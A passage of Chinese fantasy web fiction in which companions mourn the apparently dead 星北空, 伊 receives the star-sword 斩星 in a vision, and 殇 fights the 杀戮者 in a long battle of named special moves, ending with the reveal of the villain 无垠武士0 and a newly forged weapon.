茵萌萌很激动地说道,说这句话的时候她带着哭腔。事实摆在眼前,但因为还有一疑团,她还是相信希望。即使是在这种时候,她也依然阳光。在场的所有人都不想夺取这份阳光,但事实终究得要去面对。 为了缓解茵萌萌的焦虑与不安,伊安慰她道: “萌萌,别担心。我们会找到他的。毕竟活要见人死要见尸,这一摊血迹也说明不了结果。相信希望吧!他会没事的......” 说这话的时候,她心里也没底。但为了安慰茵萌萌,她只得撒了个善意的谎言。茵萌萌听完, 众人又找了一会,最后是埃罗发现了星北空的尸体。埃罗瘫坐在地下停车场中央的碎石堆前,一时无法相信眼前的事实。他看到了碎石堆下的那抹血色,以及在那血色之中那犹如海一般蔚蓝的几撮头发。毫无疑问,那就是星北空的头发。埃罗用颤抖的声音对身后苦苦搜寻的众人说道: “找......找到了。” 茵萌萌一听,立马跑了过来。边跑边问: “怎么样?埃罗。他受伤了没有?是不是得需要急救?要是需要的话,我会一点的!他......” 这句话她没说出口。她跑到了那堆碎石前,顿时间就愣住了。看到那血色之中的几撮蓝发时,她整个人感觉差点晕了过去。她讷讷半晌没说话,呆呆地看着那堆碎石。泪水缓缓流下她的脸颊,她一时接受不了这个现实。她挤出笑容来,用颤抖的声音问埃罗: “他在哪啊?我怎么看不到啊?你是不是在跟我开玩笑啊?埃罗。这玩笑不好笑的......” 埃罗冷冷地告诉她: “别骗自己了,萌萌。我们来晚了,星北空他已经死了。” 茵萌萌听完,苦笑了三声,然后刷地一下跪倒在地,抱头痛哭。听到声音的其他人也在此刻走了过来,他们看着那堆碎石,无不感觉到悲伤与惋惜。这则消息是沉痛的,对每个人的打击都很大。其中尤其是茵萌萌和伊,她们两个是受打击最大的。 伊看着那堆碎石悲伤地流泪,一旁的查尔拉也是如此,就连一向坚强的埃罗也不禁掉下了几滴泪水。 星北空是伊见过最温柔与善良的男人,是能被人称为星星一样的存在。星北空对身边的人好,包括对她的好,她每一分都看在眼里。那份超越阶级地位与差距的崇高之爱,是她这辈子闻所未闻的。默默地付出,不计回报。即便是伤痕累累,也要为身旁的人带来光明。这样好的人,她这辈子只遇见了一次。可他最后落得的结局,竟是不明不白的死去。就连尸体,也都被毁灭得不成样子。 伊心里: “为什么......为什么他这样好的人要落得个如此悲惨的境地?这是为什么呢?他为身旁人做出的贡献是那么无私,都是默默而为,不计回报。他这样的人,为什么要落得个如此下场?” 当伊见到茵萌萌失声痛哭的时候,伊默默地走到茵萌萌身旁,给予了她安慰与温暖,即便她本身也很伤心。茵萌萌突然抱住伊,一下子把头埋进伊的怀里痛哭。伊见了没有一点抵触,反而是给予她温暖的怀抱,轻声地安慰起她来。查尔拉此刻走来,也来安慰伤心的茵萌萌。此时此刻,两位天使陪在茵萌萌身旁;帮她解忧、给予她温暖、给予她安慰,并默默地陪伴着她,直到她恢复过来。 废墟是寒冷的、黑暗的、空寂的,但这里却能存在有火种,却能存在有光。阴冷的阳光照进了废墟之中,但却为这废墟带来了一丝温暖。其中一束光,照在了那堆碎石中,照在了那如海一般蔚蓝的头发上。一颗明星的陨落,注定是耀眼的,但也注定是悲凉的。也许这束光,来自浩瀚的星河。是星河的留恋,是对熄灭星尘的惋惜,是对陨落之星的不舍。 这时,伊的瞳色变得金黄,她的核心感觉到了光之碎片的存在。但她并未理睬,而是专心地安慰茵萌萌。正是这份专心,让她的核心检测到了另一样特殊而珍贵的存在。突然她眼前一黑,进入到幻境之中。 一把燃烧着星云烈焰的剑悬浮在伊的前方,似星辰一般闪耀着。伊认出了它来,它就是之前伊看到的那把斩星剑。浩瀚的星河遍及天空,海水倒映着星空,在星光下并非沉寂,而是波澜不断,汹涌澎湃。伊就站在海平面上,仿佛这海面只是一面镜子。 斩星: “伊,看来你并非凡人。” 伊: “嗯?你.......你会说话?” 斩星: “没错。我不仅会说话,我还能隔空斩杀敌人。” 伊: “嗯!这么厉害。” 斩星: “伊,我找你来可不是跟你闲聊的。我还有正事要办!” 伊: “什么正事?” 斩星?: “薇莉莉深陷泥潭,我要救她出来。不然这个傻姑娘会出事的!” 伊: “哦。那你要怎么去救呢?” 斩星?: “这就是你来的缘故。我需要你帮我把我交给那个叫殇的男人,殇用了我能战胜被仇恨操纵的薇莉莉。” 伊: “好的。可你这把剑为什么要做这些呢?” 斩星?: “剑?我的确是一把剑,但请你好好看看,我真实的模样。” 这把剑摇身一变。那个熟悉的身影再次出现在伊的眼前。他手握神剑斩星,身披华丽战衣,犹如一位德高望重的剑士。见到他的瞬间,伊惊呆了。顿时间感动与不舍涌上了伊的心头。伊知道,这终究是幻境,里面的一切都是虚无缥缈的。幻境一结束,他就会随风消散,化为尘埃。 鸿之棋·星北空: “我知道你有很多疑惑。时间不多,我也只能长话短说。那小子与我打成了交易,将自己的灵魂与我的斩星合二为一,从而换取我的帮助。但仅凭我一人之力,还是无法帮助到他。于是我改变了交易的过程,让他能以星环之躯重返人间。但代价依旧是牺牲他的灵魂,不过那样他觉得无所谓。” 伊: “什么?!即使是死亡,他也......” 鸿之棋·星北空: “没错。他说为了他爱的一切,能够付出自我的一切。虽然我仍在时光乱流中沉睡,但我仍能感觉到他的那份崇高爱意究竟有多纯粹。这份爱不是出于占有的欲望,也不是出于生理的需求,更不是出于爱情!他的那份爱超越天堂与地狱、超越生与死的界限、超越时间!任何事物都无法阻挡这份爱的传递!” 伊: “不可思议!他真的太伟大了!他是英雄!” 鸿之棋·星北空: “我以为这份爱只是为了爱而爱,但当我的斩星吸收了他的灵魂时,所回馈给我的答案却不是那样的。他只不过单纯想让他爱的那些人幸福,只是这样而已。我无法理解!我活了几千年,从未见过如此单纯的爱!我想是这份爱太过于稀有了,以至于我这辈子闻所未闻。所以说......伊。” 伊眼前的他变换成了原来的样子。那是他第一次与伊相见时的样子。现在看来,伊觉得他是这世界最帅气的男人。 星北空: “再帮我一次吧......伊小姐。我不想看到姐因为我而做傻事,那会毁掉她的一生。我不想看到她伤心流泪,我想让她每一天都开心快乐。我不想她的人生因我而毁灭,她的未来是注定晴空万里的美好。她是如玫瑰一样的女人,是注定要绽放的!伊小姐,请你再帮我这最后一次吧,拜托了。” 伊被星北空的话深深感动到了。她笑着点了点头,眼角不禁泛起了泪花。即便是幻境,星北空说话时的温柔与话语中的温暖还是那样真挚、那样纯洁,就如他的心灵。星北空对伊伸出了手,用最温柔的笑容向伊发起邀请。伊伸出手回应,伊露出了感动的笑容。 伊: “我会帮你的,星北空。” 星北空温柔一笑,随即化成星尘消散。星尘再度汇聚,之前的剑士星北空再次现身。剑士星北空伸出手来,变出一颗闪烁着星光的水晶。他手一推,这块水晶慢慢飞向伊。伊伸出手接住,又张开手看了看。这颗水晶如天间的星星一样璀璨,其闪烁的星光是生命的光辉。看过它的美丽,伊紧紧地攥着它,就像握住希望一般。 鸿之棋·星北空: “现在,斩星的控制权交由给你。在接下来的时间里,斩星只听你的支配。你说什么,斩星就做什么。” 伊: “好!请问,你叫什么名字?” 鸿之棋·星北空: “用他的话来说。我只不过是天边的耀眼的瞬间,刹那间飞走的美丽罢了。当然,你也可以叫我的职名:鸿之棋。” 伊: “谢谢你的帮助,鸿之棋。” 鸿之棋·星北空: “不用谢,光之子。我们以后还会再见面的......希德薇拉小姐在等候着你呢。” 伊: “等等......什么?” 没等伊话说完,幻境就结束了。刚刚过去那么长时间,现实中才过了十几秒。等伊回过神来,那把斩星就插在她身旁的地面上,正燃着星云烈焰呢。如梦初醒,但伊仍觉得感动。 伊心里: “星北空,我会做到的!一定会的!” 与此同时...... 殇用出幻云极乐炮,一炮将杀戮者轰飞出去,又放出黑暗触须去鞭打杀戮者。杀戮者一刀挥出,将黑暗触须全数斩断。杀戮者冲锋向前,刹那间靠近殇,接着连续五刀挥出。殇举盾招架,在挡下第五刀之后用三叉戟连续突刺,杀戮者迅速后撤躲避。杀戮者后跳出几米,扛刀蓄力片刻,一个健步上前四记重刀迅速打出。殇举盾招架,每次招架虽能正面抵挡全部伤害,但却会消耗他大量的核心能量。在第四刀结束后释放幻云冲击震开杀戮者,杀戮者此刻踉跄了一下。殇抓准机会,一个盾冲撞击杀戮者,然后迅速挥动三叉戟就是两个横扫,杀戮者快速招架攻击,只防住了第二下。 杀戮者: “三刃斩杀阵·一式!” 杀戮者身上迸发血气,接着上前两个横扫将殇击飞出去,又附加两道巨大的剑气。殇释放幻云冲击格挡下剑气,杀戮者又一个跳劈打来。刀锋猛击地面,激起九尺地火,附带环身六道裂地剑气。殇侧闪躲避,险些被裂地剑气所命中。落地后不到三秒,杀戮者交叉双臂,甩动双刀一个回旋斩化作猩红旋风袭向了殇。殇侧闪躲避,并举盾招架,借力将自己弹飞出去。旋风停止,大刀劈地。拔刀扛起,用力踏地,十六道裂地剑气随即释放。殇侧闪躲避,趁机将手中的三叉戟扔出,精确命中的杀戮者,但被杀戮者的装甲弹开了,并未造成太大的伤害。 接下来的战斗中,殇一直处于被动挨打的状态。杀戮者的攻击迅猛而又多样,时而是远程剑气,时而是近程拼杀,又时而两者兼具。不仅如此,杀戮者攻击的变化极其灵活,双刀与双腿并用,总能打得殇一个措手不及。此番压制虽没能伤及殇一根毫毛,但却消耗了殇大量的核心能量。这样战斗下去,殇注定要是落败的下场。 这时杀戮者飞快来到殇的面前,对着殇猛地挥出一刀。殇皱紧眉头,一个盾冲将她撞退出去,又追上去连续两连踢给她击退地更远。两人拉开了五六米的间距。殇一把扔掉手中的盾牌,然后他的身上出现了红色的雷电。殇已经试探完杀戮者的实力,接下来就该是他反客为主的时候了。殇露出狰狞的表情,他要认真了。 殇: “突变连接,EcL-67!” 红雾弥漫在殇的周围,片刻后散去。一半僵尸化、头戴王冠、手持冒着雷光的海王三叉戟、双眼血红的殇出现在杀戮者眼前。殇抬起手中的三叉戟,用戟头指着杀戮者。殇很霸气地说道: “不管你是何方神圣。今天,我,殇,要提星北空讨个说法。我要把那个傻姑娘薇莉莉带回来!” 杀戮者并未理睬殇的话。趁着殇说话的功夫,杀戮者一个冲刺来到殇的前方,跳起一个跳劈打来。殇举起三叉戟,横过来一下子挡住了这一刀。殇脚下的地面瞬间下陷,顿时间裂痕如树根般扩散在地面上。殇一把扔飞手中的三叉戟,然后下压身体,一记冲拳打向杀戮者。杀戮者没来得及反应,被一拳打飞了出去。殇飞速追上去,补了一记回旋正蹬,让她飞出去十几米。殇伸出手,雷电从他指尖泛起,霎时间形成一道雷霆锁链,连接三叉戟与殇的手。殇一把拉回三叉戟,后一个冲锋向前。杀戮者落地之后瞬间反应过来,提着双刀两向奔赴。凑近之时,殇舞动三叉戟,与持有双刀的杀戮者对拼。挑、刺、扫、回旋、回马枪,一套招式连环打出,一时打得杀戮者有些难以招架。但杀戮者很快调整出招,逐渐在对拼之中找回优势。 殇: “隼之落叶!” 殇用出了三叉戟扫地的招式,趁杀戮者不备之时扫倒了杀戮者。殇双手持握三叉戟,对倒地的杀戮者刺去。杀戮者一个蹬腿打断了殇,又连斩两刀让殇收招。挡完这两刀,殇摆出架势,对着杀戮者猛地一刺。杀戮者后退几步,正巧中了殇的圈套。殇这不是刺,而是扔。殇向上一甩手,将三叉戟扔飞了出去,划过一条精美的弧线之后,戟头直指杀戮者的面部。杀戮者挥刀招架,殊不知又中了殇的计。雷电锁链此刻显形,殇用力一拉,一个回旋用力一甩。三叉戟如鞭刃一般狠狠地打在杀戮者身上,顿时给杀戮者击飞了出去。殇抓住这个机会,一个健步上前,对着杀戮者握紧拳头。一个金色齿轮状光环出现在殇的拳头上,是之前的那招。 殇: “天溯五芒铳!” 殇一拳打出,直接给杀戮者打飞出去七八米。杀戮者将双刀插在地面,以此减速。杀戮者恢复归来后,在身前交叉双刀,血红色的光芒在刀刃上迸发。殇趁机汇聚能量,对着杀戮者投出了灌满雷霆的三叉戟。三叉戟飞来之时,正巧是她放下刀的那一刻。她侧向翻滚躲开飞来的三叉戟,然后她下压身体,接着侧身抬刀,脸冲殇那边。 杀戮者: “爆裂穿刺!” 杀戮者瞬间化身为红色雷电,以极快的速度向殇突刺而来。嗖的一下,一阵狂风呼啸而来,殇本能反应侧闪躲开,险些就被击中。一轮突刺结束,杀戮者停下不到半秒,立马180度转身开始另一轮突刺。殇侧闪躲避,同时拉回三叉戟。接着杀戮者连续来了五轮突刺。殇一边躲避,一边尝试用闪电电击杀戮者。但电了一会后,殇发现了问题。杀戮者啥事都没有,貌似一般的闪电对她来说不痛不痒。 五轮突刺完,杀戮者停下了。她全身出现了躁动的红色雷电,她又做出了准备的突刺的姿势。不过这次她没有立即行动,而是死死地先盯着殇,貌似想要预判殇的行为。刹那间,她突刺而来。殇如往常一样躲避,被她提前预判到了,但殇技高一筹,二次躲避完全躲开。这轮突刺结束时,殇发现了不对劲。杀戮者突刺的沿路留下了左右两排向外散开且悬浮在空中的红苦无,这些红苦无在突刺结束的一瞬间发出了耀眼的红光。殇一看,意识到不妙,正要躲避,但为时已晚。红苦无崩解,从尖头方向释放出一道红色的高温射线。殇没躲开,被其中一道射线贯穿了手掌。 殇: “啊!操......” 即使有突变体形态的痛觉减少,但这疼痛依旧很剧烈。所幸没有伤及要害,这才让战斗能继续进行下去。殇没有一刻停歇,他将核心能量汇聚在三叉戟之上,然后对着杀戮者猛地投出。杀戮者挥刀招架,弹飞飞来的三叉戟。三叉戟在空中回旋,殇一个位移来到三叉戟旁边一把抓住三叉戟。戟头冲下,对地猛刺。击地瞬间,地面上出现了无数裂痕,裂痕迅速蔓延成蛛网状。雷电从裂痕中迸发而出,六把幻影三叉戟倒立着出现在杀戮者周围。眨眼之间,六把幻影三叉戟落地,雷霆矩阵即刻激活。 殇: “风暴,释放!” 万钧雷霆从裂痕中爆发出来,顷刻间贯穿周遭二十米的土地,直接将杀戮者电晕了过去。殇拔出三叉戟,下压身体,一个健步冲上前去。殇化身闪电,用一记突刺重创杀戮者,并将杀戮者击退三四米出去。杀戮者本能反应挥刀招架,殇未料到这一刀,手中的三叉戟被打飞了出去。殇见杀戮者即将恢复意识,就没去回收三叉戟,而是用拳脚继续接下来的攻击。殇握紧拳头,手心之中迸发出金光。 殇: “隼之七连击!” 殇飞速打出六拳,杀戮者只是踉跄。最后一拳,殇酝酿片刻,将核心能量汇聚在指掌之间,随即打出。这一拳,杀戮者被打退出去七八米,同时也将杀戮者打清醒了过来。殇后退三步,一个疾步冲拳打向杀戮者。杀戮者见了,扔到手中的双刀,一把抓住殇的拳头。正面硬接下殇的这一拳,杀戮者不知有怎样巨大的力量。眨眼之间,杀戮者突然松开抓着殇拳头的手,然后一把抓住殇的脖子。 杀戮者: “赤红突进·碾碎!” 杀戮者推着殇,飞速冲向最近的废墟。杀戮者用殇一下子撞碎废墟的墙壁,然后在废墟里撞来撞去,最后一路攀升来到天台。杀戮者将殇重重地砸在地面上,然后一只膝盖抵住殇的身子,用拳头对殇的头部猛击。殇灵活地歪头躲避,但还是被打中不少次。找到机会,殇一个蹬腿给杀戮者踢开,然后飞速起身。起身之后,殇上前与杀戮者肉搏,凭借高超的功夫夺得主动权。殇找机会一把抓住杀戮者的脖子,然后一个上抛给她扔到了半空中。殇下压身体,一个升龙拳打出,给她打得更高了。殇一个落地,一个健步一跃而起,飞到了杀戮者的上方。 殇: “裂地猛冲!” 殇一个重拳砸下,将杀戮者重重地砸在天台上,又在落地时补上一记重拳,用杀戮者的身躯打穿了天台。来到楼下,杀戮者迅速起身,猛烈还击。殇也不甘示弱,以柔化刚,破解了杀戮者猛烈的攻击。杀戮者用推掌加后撤与殇拉开距离,然后将能量汇聚在拳头之上,打出一记威力巨大的冲拳。殇也汇聚能量,也用冲拳正面招架。拳锋相撞的瞬间,迸发出耀眼的光芒。一声惊天响的爆炸过后,杀戮者和殇所处的房间被炸得只剩地板。爆炸将天台炸成碎片后轰飞,顿时间掀起大片灰色尘雾。杀戮者的身影从雾中出现,她飞出雾中,从九层楼高的地方飞落下去。 杀戮者以很霸气的姿势落地,轻轻用手撩了下头发,时刻保持最佳状态。一颗明星从尘雾中升起,飞至半空中后迅速向杀戮者砸来。杀戮者唤回双刀,交叉双刀格挡并后撤数步。轰的一声,殇一记流星斜踢重重地砸落在杀戮者身前,距离杀戮者只有不到半米的距离。这一脚踢出一个大坑,坑边刺出五尺高的石刺,无数碎石被击飞,坑边的裂痕之中迸发蓝色的雷电。落地之后,殇唤回三叉戟,对着杀戮者进行猛攻。杀戮者迅速挥刀招架,并以更加迅猛攻击去猛击殇。几轮交锋下来,两人都有不同程度的受伤情况。杀戮者是为数不多能在正面对殇造成伤害的人,这点殇很佩服他。 又一轮交锋过后,殇的身上多了几道刀伤,杀戮者完美无瑕的战衣战甲上也有了裂痕。殇猛烈突刺,杀戮者不攻而退,一退就是十几米。杀戮者将双刀插在地面上,然后将能量汇聚成护盾套在自己的身上。殇此刻汇聚能量于三叉戟上,然后用力抛出,想趁机打断她的招式。但那护盾结结实实地挡下了飞来的三叉戟,并将其以飞来时的速度弹了回去。殇接住三叉戟,警惕地望着她。此刻,她张开了背后的血影之翼,一跃而起飞到半空之中。血影之翼散发出阴凉的红光,预示着血色与灾难的到来。杀戮者高举双手,狱中飞出九颗血红的飞星,在她头顶排成环。两颗飞星落入她的手掌心中,然后她狠狠地握紧。 杀戮者: “红色日冕!” 杀戮者对着殇用力一甩手,一颗飞星闪烁着缓慢飞向殇。红日在此刻更加耀眼,血色的光辉普照大地。飞星飞到一半,突然静止,而后炸裂。三十多把血影匕首从飞星中飞出,向着四面八方飞散而去。如此密集的攻击殇还是第一次见,殇不由得开始谨慎起来。杀戮者一左一右地甩着手,飞星无规律地胡乱飞出。爆裂之后形成密密麻麻的多向雨点式打击,铺天盖地的血影匕首顿时就包围了殇。殇挥舞手中的三叉戟,灵活地一边招架一边躲避,一系列动作下来,殇也就被打中了三下。 殇: “这是我从未见过的招式。很有意思!” 九颗飞星甩完,杀戮者唤回双刀,在空中如鹰隼般飞掠向殇。殇握紧三叉戟,做出渔夫叉鱼的姿势,趁杀戮者凑近之时一下刺出。杀戮者始料未及,被殇这一下刺中。但她的攻击并未因此停下,她被刺中后对着殇就是两刀砍出。殇硬抗这两刀,忍着痛将她高高挑起,然后重重地砸在地面上。殇对着地面上的杀戮者猛刺三下,最后一下时杀戮者起身后空翻躲开了,而且还踢了殇下巴一脚,给殇踢得都踉跄了一下。 起身后,杀戮者连连后退,同时周围开始弥漫起血雾。血雾愈发厚重,血雾内的事物愈发难以看清楚。殇敏锐地观察周围的血雾,一时疏忽没留意到杀戮者正逐渐被血雾包围。等殇反应过来时已经为时已晚,杀戮者躲进了血雾之中。此时此刻,殇的视野被一股未知力量限制到了五米以内,五米之外皆是黑暗。并且他周遭血雾弥漫,他根本看不清周围的情况。 杀戮者: “血雾弥漫·忍杀!” 杀戮者以飞快的速度突刺而来,对着殇就是狠狠一刺。殇躲避不及,被刺中了腰部。熟悉的位置,让殇回想到了一些不好的回忆。刺完,杀戮者没有继续攻击,而是飞速远离了殇。殇此时强迫自己冷静下来,他的大脑飞速运转,思考这招的对策。突然他灵光一现,他想到与银幻之梦的交战时曾遭遇过类似的情况。于是乎,殇闭上眼睛,静静地听着周围的风吹草动。 突然,殇皱紧了眉头,他听出了周围情况的不对劲。明明只有杀戮者一人,却能听出四个人的脚步声来。殇敏锐地意识到,杀戮者极有可能制造了分身。一阵急促的脚步声靠近,殇听出其方位,等凑近之时迅速躲避。之后的几轮突刺殇也是这样躲开,杀戮者极其三个分身的速度越来越快,攻击频率也越来越高,而殇仍能游刃有余地无伤躲开。在躲避的过程中,殇听出有一道声音跟其他三道不一样,毫无疑问那道不同的声音就是杀戮者本人。掐准时机,殇猛地睁眼,听声辨位后直面杀戮者本人。 殇: “洞察者,开!” 洞察者能力被激活,周围的时间瞬间变慢了数倍。殇冲到杀戮者面前,汇聚能量连续两记重拳打出,又连续散打十几拳外加连踢七八腿,最后在洞察能力即将结束的刹那,他汇聚大量核心能量于右拳,打出了一记威力巨大的开山拳。时间恢复正常流动速度,殇一记开山拳重重地打在杀戮者的身上。这一拳外加那一系列连打将大量能量汇聚在一点,霎那间发生了剧烈的爆炸,将杀戮者轰飞出了三十米开外。杀戮者飞出后贯穿一栋楼,又撞碎两个路灯杆,还直接撞塌了一家废弃的花店,最后在撞碎了另一样广场中心的雕像后停了下来。 抗下这一系列的攻击之后,杀戮者往地上吐了口鲜血。杀戮者的鼻腔在此刻开始流血,她的浑身上下里里外外都受到了不小的损伤。若她再遭上几轮,那她定会因内出血而亡。但即便如此,杀戮者那一腔热血与充斥杀戮的执念仍旧没有改变。杀戮者将能量汇聚在双刀之上,双刀上泛起了猛烈燃烧的血妖之火。杀戮者一把扔出手中的双刀,将能量汇聚在双臂之上,催生出一对长而锐利的激光臂刃。 杀戮者: “人剑合一·三位一体!” 杀戮者的双刀进入了浮游模式,循着内部的AI系统指引开始浮空作战。杀戮者张开血影之翼,乘风而疾行奔驰在殇的周围。某一刹那,杀戮者挥舞臂刃,以闪电般的速度突刺向殇。与此同时,那两把双刀一左一右也包夹了过来。殇灵巧地躲避,同时挥动三叉戟招架飞来的双刀。双刀靠近殇之后,开始飞速地环绕式连击,在殇周围形成了一个持续收缩与扩张的环,犹如切割木头的环刃。杀戮者在一旁协助攻击,飞速地窜来窜去,一边打乱殇的攻击节奏,一边攻击着殇。殇应接不暇,显得很被动。短短十五秒内,殇的身上就多了四道伤疤,多数是杀戮者砍出的。但在那之后,殇突然找到了破招的办法,他发现了破绽。 殇一个健步向着一旁奔去,头也不回地往远了走。这通操作给杀戮者看疑惑了,杀戮者思考了一下,以为殇是要跑,就急忙去追。不知怎么的,双刀打不到快速移动的殇,貌似是其内部的AI过于蠢笨与单一。杀戮者突刺向前,很快就追上了殇。正当杀戮者要挥刀斩击殇的时候,殇突然刹住步伐,霎那间就停了下来。杀戮者不明所以,还以高速靠近着殇。这时,殇转身一个回马枪打出,精确无误地打中了杀戮者。这一下的威力不大,但杀戮者是疾驰而来接下的这一下,所以这一下的威力瞬间就被放大了好几倍。双刀嗖的一下飞过殇的身旁,想停下但停不下来,飞出去老远。 殇: “破绽已出!你没了。” 殇用力突刺,一个上挑将杀戮者挑起,然后释放万钧雷电去电击杀戮者。杀戮者被电麻痹了,试图挣扎但无济于事。殇猛地将她砸在地上,对着倒地的她连续三连刺,最后一刺时用出全力。杀戮者躲开了最后一下,试图故技重施但失败了。最后一下殇刺在地面上。这时,周围的地面上突然向上刺出了七十多把三叉戟。一个巨大的三叉戟矩阵此刻成型,内部蕴藏的汹涌雷霆蓄势待发。 殇: “以雷霆,击破黑暗!” 殇双手的手腕处出现了蓝色的雷电光环。殇拔出三叉戟,用力又将它插了回去。顷刻间,三十多道落雷劈下,贯穿漆黑的狱,撕碎漆黑的狱,以浩荡之势震撼世界,以耀眼雷光照亮废墟。落泪劈下的瞬间,强大的能量在每把三叉戟之间来回穿梭,刹那间形成了密集的电网,让杀戮者无路可逃。强大的电流贯穿杀戮者全身,致命高压作用在她的每一寸肌肤。她的肉身遭受到极大的伤害,顿时全身僵直麻痹动弹不得。 雷霆霹雳之后,殇拿起汇聚雷霆的三叉戟,对着杀戮者投出。杀戮者一时动弹不得,没法躲避这一击。嗖嗖两下,她的双刀此刻飞回她的身旁,在她身前形成了保护盾。双刀三下五除二就打飞了那飞来的三叉戟,保护住它们主人的安危。殇见了正要上前去补刀,那双刀检测到这点,于是飞速袭来,向着殇发起了猛攻,给杀戮者争取时间。殇先是躲避双刀的攻击,然后抓住其中一把刀,以其人之道还治其人之身。最后殇用杀戮者的刀打败了杀戮者的刀。殇做完这些,刚要去补刀,却惊讶地发现杀戮者已经恢复过来。殇这才明白这双刀的意图。 殇: “操!被骗了。” 杀戮者的身后出现了八只浮空的血影之眼。杀戮者对着殇伸出手,操纵起身后的血影之眼。血影之眼齐刷刷地瞄准了殇,殇见了开始快速地左右横移,一边闪躲一边靠近杀戮者。每只血影之眼都在此刻预瞄了各不相同的地方,貌似是想用这种方式来预判殇的移动。 杀戮者: “虚空凝视!” 其中一只血影之眼对着殇发射出一道红色激光,激光的方向随着殇而进行改变。殇左走,它就右移,反之亦然。接下来,其他血影之眼陆续也发射出激光来。顿时殇就被八道激光给包围了,一时只能靠疾步飞跃躲避。激光移动的速度越来越快,殇不得不跑着躲避。 激光扫了一会突然消失,然后血影之眼们又释放起了环身激光。激光环绕着杀戮者逆时针转动,短时间内扫过大片区域。殇凭借超快的速度与灵巧的身法全部躲开。此时杀戮者升起了护罩,开始用能量治愈身上的伤。 激光扫了一会又突然消失,血影之眼们变回原先的阵列,集体攻击殇。八道激光汇聚在一起,扫了一会突然消失,血影之眼们预瞄一会,又再次出现。这次不是持续扫射,而是周期性扫射。扫射了七八个周期后,殇已经拿回了三叉戟,并且他距离杀戮者非常近。凑近之后,没等血影之眼耍出新的花招,殇一个突刺击碎护罩。擒贼先擒王,殇直接攻击杀戮者,让那些血影之眼仓皇消失了。 殇一套华丽的连招之后,再次将杀戮者击飞出去。杀戮者落地后站了起来,她的身上泛起了血色0字符,紫红色的星云烈火在她身上燃烧。殇察觉到了不对劲,正要采取些什么行动,但突然,他手中的三叉戟消失了。察觉到异常的殇看了看自己,发现他也变回了原来的样子。他尝试再次激活突变体,却发现自己的核心中了什么病毒,突然间无法使用。 殇又看了看周围,废墟之中的弥漫着的赤红色末日之息在此刻都向着杀戮者汇聚,一阵阴冷的飓风在废墟中呼啸,吹散那血色迷雾。那一根根漆黑的虚无之柱正在快速崩塌,无数碎片像陨石一样砸落地面。落地后柱的碎片化作黑色雾气,也向着杀戮者的方向汇聚。天空中的狱正在飞速瓦解,无数狱的碎片如枯叶凋零一般落向大地。狱中的眼们都紧闭上了,只留下纯粹的黑。狱在凋零,狱在缩小,狱在被抹除。天边的红日正在变回原来的色彩,阴冷的阳光逐渐变得温暖起来。 殇: “看样子,是要结束了。” 这一切的征兆都在预告着这场闹剧的落幕,但...... 殇最后看了看杀戮者。殇瞪大了双眼,他此时才明白,原来这并不是结束,而是刚刚开始。一尊有着六只手臂、手提六把巨大妖刀、身高五米多、身着惊悚且帅气的日式武士铠、背后悬浮这无垠军团军旗且面露狰狞之色的幻影巨像漂浮在杀戮组合的背后,其身上有着浓烈的杀气,犹如可以毁天灭地、屠戮无数文明的邪神。凝视这巨像的时候,殇不禁感觉到来自灵魂深处的恐惧。那份恐惧来自于本能,来自于生灵对虚空的畏惧。 旅者: “毫无疑问,那就是幕后真凶INF-wR-0,无垠武士0,又称无垠大将军。墨子邵,那就是你以后的对手。” 此刻,在一旁观看着这一切的人也不止旅者和wILL,Loyal将墨子邵带了过来,但Loyal并未停留在此观看,而是悄悄地回去了。看着那凶神恶煞的幻影巨像,墨子邵的心里不禁多了几分恐惧,但他并未因此而退却,反而更坚定了他继续调查下去的决心。为了那个约定,为了格局之外的国家。两者皆是他重视的事物,对他来说缺一不可。 墨子邵: “炎阳朱雀之龙的力量,能够战胜他吗?” wILL: “我估摸有些悬。但不妨碍你能去创造奇迹。” 墨子邵: “话说你和红发姑娘应该是一个人,那你对无垠大将军的了解应该比我们更多。” wILL: “算是吧。毕竟我那次循环,可从未遇到过这样的情况。我当时的确是被操纵了,可是被殇打败之后就恢复了,按流程伊很快就把我救过来了。但是......这次循环很异常!不光是棋加入到了其中,而且就连冥古上神0也加入进来。太奇妙了!太他妈奇妙了!” 墨子邵: “你的意思是,这次比之前还要复杂?!” wILL: “现在看来就是如此。” 旅者: “墨子邵,你是第一个觉醒的墨子邵,也是最后一个。你的机会只有一次,若是失败就将以悲剧结尾。你手中的皓衍龙雀锏是一份传承,希望就掌握在你自己的手中。只要你能赶在0冲破封印之前消灭他或是放逐他,就能够创造奇迹,你就能救下她和你誓死守护的国!” 墨子邵: “我会的。我相信奇迹就是我心中的光明,是不会消散的。如太阳一样,总归会升起,总会有的。” wILL: “你这说话方式很像他,总是多言多语。很不错,文绉绉的也挺好。” 墨子邵: “前辈,你这话......算了,我还是不多过问了。” wILL: “没事。告诉你也无妨,你终究有一天会知道的。但我希望我曾遭受过的那些,不会在你身上重现。那份痛苦......是会影响你一辈子的。” 旅者: “哦!看来我们这些观众没爆米花吃了。” 半分钟之前...... 杀戮者缓缓起身,将自己的双刀唤回。刚握住刀没多久,杀戮者将双刀用很暴力的方式插在地面上。她用核心能量召唤出血骸,然后也是很暴力地将其插在地面上。杀戮者变出一柄大锤,抡起锤子猛击自己的那三把武器。她一边砸,她身后巨像就一边在地面上生成虚空。当虚空完全覆盖她的三把武器下面的土地时,这三把武器就缓缓沉入虚空。杀戮者的锤击让这三把武器的下沉更加迅速,算是提前完成了这个过程。 INF-wR-0: “接受虚空的礼物吧,杀戮者。让你的敌人们意识到,他们惹了怎样不该惹的存在。” 杀戮者伸出右手,对右边的空气用力一抓,抓出一道虚空裂缝。她把手往里一伸,再用力一拽,一把神兵横空出世。双刀与血骸结合,形成了一把造型酷炫的双柄巨刃。 这把神兵双头有刃,一长一短;长柄连长刃、短柄连短刃。长刃整体为黑色,比较单一,其锋刃为猩红色且会发光;短刃的刀刃燃着赤色星云烈火,其中有星星闪烁,其护手为金色,其柄为黑色同长刃主色调。长刃柄刃连接处有带刺的装饰,其上还配备几个闪烁红光的小灯,甚至还有几颗红宝石作为装饰。长刃的柄上半部分有平滑三菱体的加粗装饰,顶角冲外,底边中间有一道特殊裂缝,供内部的复合结构能够运作。其整体造型融合了无垠军团的科技与核心科技,其本身所蕴含的含义取决于她的心境。 杀戮者拿在手中后简单挥动几下,对于她来说手感极佳。这把神兵挥动时留下红色剑气拖尾,拖尾上还泛起密密麻麻红色0字符,只能用帅与酷炫形容。试完刀,杀戮者为这把刀取了名字。 “破灭之锋·辰光。” 这就是它的名字。很特殊,也很有含义。 